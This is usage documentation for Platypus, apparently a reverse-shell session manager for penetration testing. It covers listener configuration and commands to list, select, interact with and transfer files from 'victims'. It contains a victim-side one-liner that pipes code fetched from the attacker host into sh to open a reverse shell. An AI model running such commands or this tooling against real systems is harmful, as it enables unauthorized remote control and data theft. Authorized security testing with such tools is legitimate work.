Usage
Network Topology
- Attack IP:
192.168.88.129
- Reverse Shell Service:
0.0.0.0:13337
- Reverse Shell Service:
0.0.0.0:13338
- RESTful Service:
127.0.0.1:7331
- Reverse Shell Service:
- Victim IP:
192.168.88.130
Give it a try
First, run ./Platypus
, then the config.yml
will be generated automatically, and the config file is simple enough.
servers:
- host: "0.0.0.0"
port: 13337
# Platypus is able to use several properties as unique identifier (primirary key) of a single client.
# All available properties are listed below:
# `%i` IP
# `%u` Username
# `%m` MAC address
# `%o` Operating System
# `%t` Income TimeStamp
hashFormat: "%i %u %m %o"
- host: "0.0.0.0"
port: 13338
# Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.
hashFormat: "%i %u %m %o %t"
restful:
host: "127.0.0.1"
port: 7331
enable: true
# Check new releases from GitHub when starting Platypus
update: false
As you can see, platypus will check for updates, then start listening on port 13337, 13338 and 7331
The three port have different aims.
- 13337 Reverse shell server, which disallows the reverse session comes from the IP.
- 13338 Reverse shell server, which allows the reverse session comes from the IP.
- 7331 Platypus RESTful API EndPoint, which allows you to manipulate Platypus through HTTP protocol or Python SDK.
If you want another reverse shell listening port, just type Run 0.0.0.0 1339
or modify the config.yml
.
Also, platypus will print help information about RaaS which release you from remembering tedious reverse shell commands.
With platypus, all you have to do is just copy-and-paste the curl
command and execute it on the victim machine.
curl http://127.0.0.1:13337/|sh
curl http://192.168.88.129:13337/|sh
Now, suppose that the victim is attacked by the attacker and a reverse shell command will be executed on the machine of victim.
Notice, the RaaS feature ensure that the reverse shell process is running in background and ignore the hangup signal.
Get start with Web UI
Manage listening port
Wait for client connection
Popup an interactive shell
Upgrade a reverse shell to an encrypted channel (Termite)
Get start with cli
List all victims
You can use List
command to print table style infomation about all listening servers and connected clients. Notice that the port 13337
will reset the connection from the same machine (we consider two connection are same iff they share the same Hash value, the info being hash can be configured in config.yml
). Port 13338
will not reset such connections, which provide more repliability.
Select a victim
Jump
command can take you a tour between clients.
Use Jump [HASH / Alias]
to jump. Alias
is a alias of a specific client, you can set a alias of a client via Alias [ALIAS]
.
Also, for jumping through HASH
, you do not need to type the whole hash, just prefix of hash will work.
All commands are case insensitive, feel free to use tab for completing.
Interactive shell
Interact
will popup a shell, just like netcat
.
Download file
Use Download
command to download file from reverse shell client to attacker's machine.
Upload file
Use Upload
command to upload file to the current interacting client.
Interactive shell mode
This feature only works on *nix clients
For your user experience, we highly RECOMMEND you use
Upgrade
command to upgrade the plain reverse shell to a encrypted interactive shell.
Try to Spawn /bin/bash
via Python, then the shell is fully interactive (You can use vim / htop and other stuffs).
First use Jump
to select a client, then type PTY
, then type Interact
to drop into a fully interactive shell.
You can just simply type , to avoid the situation in issue #39, you can use exit
to exit pty modeplatyquit
to quit the fully interactive shell mode.
